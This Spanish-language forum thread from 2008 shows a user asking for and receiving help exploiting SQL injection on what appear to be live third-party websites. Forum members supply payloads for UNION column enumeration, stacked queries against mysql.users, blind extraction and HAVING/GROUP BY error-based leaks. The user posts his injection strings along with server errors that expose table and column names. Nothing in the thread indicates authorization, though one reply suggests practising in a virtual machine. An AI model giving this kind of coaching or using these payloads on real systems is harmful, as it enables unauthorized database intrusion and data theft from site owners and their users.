Duda con SQL injection

Iniciado por Leber, 18 Abril 2008, 01:05 AM

0 Miembros y 1 Visitante están viendo este tema.

Leber

Buenas, encontre una pagina vulnerable a SQL injection, pero no logro avanzar, intento sacarle cosas pero nada, a ver si pueden echarme un cable:

La pagina es tipo:

www.site.com/web/?id=45

Y si le pongo una comilla al final me salta:


Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres ''.

/web/sp/index.asp, line 1


Pero por mas que intento ordenarlo y hacer otras cosas me saltan errores, por ejemplo:

Poniendo la sentencia:

  480'ORDER BY 1 /*

Me salta:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]Comilla no cerrada antes de la cadena de caracteres 'ORDER BY 1 /*'.

/web/sp/index.asp, line 11


A ver si pueden orientarme un poco, no quiero destruir ni nada, suficiente cuestan hacer las cosas, pero es simple curiosidad,. Gracias de antemano


"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe

sch3m4

Para explotar ese fallo no te vendría mal leer algo sobre SQL, en concreto sobre MS SQL Server que es el que corre el servidor. Si lo haces, te darás cuenta de porqué te salta ese error cuando metes la comilla (las comillas se usan para las cadenas).

Si es simple curiosidad no esperes una herramienta que te lo haga todo, trata de aprender algo sobre sql y porqué es vulnerable esa web. Con eso lo tienes todo hecho.
SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

Ertai

Prueba con id=45 and 1=1 (si sale el contenido del id 45 es que es vulnerable).
Si la felicidad se comprara, entonces el dinero sería noble.


void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

Leber

#3
Si, sale el conteido con id=45 and 1=1, asi que supongo que es vulnerable. De todos modos como me recomendo Lympex leere algo sobre el MS SQL(tengo nociones basicas de SQL, pero no a tanto "nivel"), asi que gracias por la ayuda.

Si, como ya dije es curiosidad, y no quiero ninguna herramienta para "facilitarme la faena", quiero hacerlo yo solito, solo que tenia una duda, asi pues, muchas gracias.

Saludos

PD: Yo crei que SQL era standart, es decir, la sintaxi.
"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe

Ertai

Fijate que el and 1=1 es una condicion cierta y es evaluada como tal, por lo tanto muestra el contenido de a lo que el id 45 se refiera. Por lo tanto es vulnerable. Hay a veces que solo podras inyectar así, entonces hablamos de una blind SQL Injection, pero no tiene porque ser tu caso.

Podrias probar, por ejemplo, de poner id = -1 (lo que devolvera un conjunto vacío) y hacer un UNION SELECT 1,1,1,......,1 para ver si puedes inyectar otra SQL.

CitarPD: Yo crei que SQL era standart, es decir, la sintaxi.

El SQL es estandar "mas o menos", es decir, hay ciertas partes básicas que si que son estandar pero no tienen porque escribirse de la misma forma en diferentes sistemas gestores de bases de datos, y también puedes ser que incorporen cosas añadidas no estandares.

Suerte con la inyección ;)
Si la felicidad se comprara, entonces el dinero sería noble.


void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}

sch3m4

SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

Leber

Muchas gracias a ambos, y gracias por el PDF,(ya lo lei jeje)  pero aun no me "salgo" con la mia. Estoy probando con una pagina con Mysql ya que es con lo que estoy mas familiriarizado, pero no logro avanzar. Les explico:

Bueno, supongo que la pagina ejecuta la accion(nuestra accion) porque la " ' " significa una interrupcion de la sentencia suya, y nos permite lanzar la nuestra.

Pero no se como empezar a sacarle el jugo, he visto varios manuales sobre inyecciones como lo hacian y parecia facil, pero debo ser borrico...

El problema esque no se por donde cogerlo, en alguna pagina me he ido guiando por los errores que me salian, por ejemplo para determinar el nº de columnas, y cuando me salia "Columna fuera de rango" en ingles, pues ya sabia que no habia mas columnas, y luego, he tratado de listar las columnas "buenas" con UNION ALL SELECT 1,2,3 etc, FROM nombre_tabla, pero no habia suerte, salia error, pero no de sintaxi, como si no reconociera el nº de columnas... Quiza doy demasiado la tabarra... A ver si pueden echarme un cable, me he leido como 4,5 manuales pero no logro ponerlo en practica de verdad, es decir, logro llegar hasta cierto punto(como determinar el num de columnas) pero nada mas.

Gracias de antemano y saludos
"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe

sch3m4

#7
Cita de: Leber en 19 Abril 2008, 20:21 PM
he visto varios manuales sobre inyecciones como lo hacian y parecia facil, pero debo ser borrico...

No te preocupes, pasa mucho xD

Lo que dices de la " ' " no es del todo correcto... En sql server y en mysql (versiones a partir de la 5), puedes meter tus propias sentencias con " ; ", por ejemplo:

listado.php?id=5;SELECT * FROM mysql.users /*

Pero en las versiones menores que la 5 en mysql no puedes hacer eso, tienes que jugar con la inyección ciega, plantéatelo como si jugases con un niño pequeño, a que él piensa una palabra y tú se la adivinas, y le vas preguntando:

CitarP: La palabra que estás pensando, tiene más de 4 caracteres?
R: SI
P: La palabra que estás pensando, tiene más de 5 caracteres?
R: NO
P: La palabra que estás pensando tiene 5 caracteres?
R: SI

Y sabes la longitud de la palabra, y ahora le preguntas:

CitarP: El código ascii del primer caracter de la palabra que estás pensando es mayor que 64?
R: SI
P: El código ascii del primer caracter de la palabra que estás pensando es mayor que 65?
R: NO
P: El código ascii del primer caracter de la palabra que estás pensando es 65?
R: SI

Y le vas preguntando el código ascii desde el primer caracter, hasta el quinto caracter, que fúe la longitud que te dijo que tenía la palabra.

Así que ahora que tienes el código ascii te vas a www.asciitable.com y buscas el 65 que es 'A', y así sacas la palabra que está pensando el niño.

En las inyecciones sql ciegas se trata de jugar a este mismo juego, pero con el servidor. Remarco lo de ciegas, porque puede que le hagas un "SELECT * FROM usuarios" y te muestre toda la tabla...

En mysql tienes que tener muy en cuenta sobre qué versión está el servidor, (a grandes rasgos, si la version es <5 o >=5 (te acuerdas del juego del niño pequeño...?  ;) ) Ya que como te decía en el otro post, si es menor que 5, no te queda otra que la fuerza bruta para sacar los nombres de las tablas (una vez las tienes puedes volver a jugar al juego del niño pequeño para sacar las columnas y los campos), y si es >=5, puedes consultar la tabla INFORMATION_SCHEMA.

Yo que tú, probaría a instalarme en una máquina virtual un sql server y una mysql 5, y una vez las comprendas y sepas hacerlo, métete con la 4, que en el aspecto de saber explotar la vulnerabilidad, es más difícil.

Para ver diferentes métodos, pueder cojer alguna herramienta que te automatice el proceso, y corres un sniffer para saber cómo saca los datos, entiende por qué lo hace de esa manera, e intenta hacerlo tú a mano. Así es como más vas a aprender.  :)
SafetyBits

"Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.(..

Leber

#8
Es decir, que si la v. es menor que 5, tengo que ir probando a meterle sentencias SQL para descubrir algo no?

Por que por ejemlo, hago:

id=-1'+ORDER+BY+1/* y me dice que se desconoce esa columna, en cambio con otras si que funciono, y a partir de 17 ya me decian que no se conocia esa columna, pero de 1 a 16 no me decia nada..

O por ejemplo, si hago esto:

id=1'+UNION+ALL+SELECT+1+FROM+noticias/*

Me salta:

1222 The used SELECT statements have a different number of columns

Y si en cambio le voy metiendo hasta llegar al 17:
id='+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+noticias/*

Me devuelve un error de sintaxi:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17+FROM+noticias

Tambien probe con:

id=-1'+UNION+ALL+SELECT+1+FROM+usuarios/*

Pero nada, no existe la tabla(lastima jeje):

1146 Table 'diariosi_ds21.usuarios' doesn't exist


No se, tendre que ir probando cosas...

Bueno, vere a ver que puede hacerse, aunque de momento no voy muy bien encaminado, ya te digo, creo que logro sacar el nº  de columnas pero no ningun nombre de tabla, y bueno, eso que he ido mirando manuales de referencia y lo intento adecuar pero nada, como si le entrara cosas feas que no le gustasen un pelo... Si tienes algun manual asi bien detallado o que empiezen desde 0 te lo agradeceria sino, gracias igualmente, suficiente me has explicado ya jeje.

Saludos, y gracias.
"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe

Leber

Heme aqui de nuevo ( ¿que desgracia eh  :( ?)

Bueno, vamos a ver:

Consegui sacar el nombre de una columna de una web(trabala con MS SQL), y bueno, probe algo mas, pero me quede encallado. Primero hice:

id=456+having+1=1

Y me produjo el siguiente error:

[La columna 'noticias.ANTETITULO' de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY./code]

Asi que luego hice:

id=456+group+by+noticias.ANTETITULO+having+1=1

Y me salio:

[code]Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna 'noticias.TITULO' de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/web/sp/index.asp, line 11


Asi que fui rellenando con group by, hasta que al tratar de meter la sentencia:


id=456+group+by+noticias.ANTETITULO+,noticias.TITULO+,noticias.ENTRADILLA+,noticias.FECHA+,noticias.HEAD,+noticias.TEXTO+having+1=1--


Me produjo el siguiente error:

[Microsoft][ODBC SQL Server Driver][SQL Server]No se puede comparar ni ordenar los tipos de datos text, ntext e image, excepto cuando se utiliza el operador IS NULL o LIKE.

Y ahi me quede, intente sacar la version con

id=456+union+select+@@version,1,1,1,1

Y me dijo:

[Microsoft][ODBC SQL Server Driver][SQL Server]Error de sintaxis al convertir el valor varchar 'Cinco organizaciones ecologistas denuncian la especulación urbanística como la principal amenaza del medio ambiente en España' para una columna de tipo de datos int.

Y nada mas, me quede ahi estancado, a ver si alguien puede echarme una mano, solo orientarme un poco(no me gusta que me hagan las cosas), para donde puedo ir o cuales pueden ser mis movimientos siguientes.

Gracias de antemano, y un saludo

[/code]
"Solo los tontos carecen de preucupaciones." Johann Wolfgang Goethe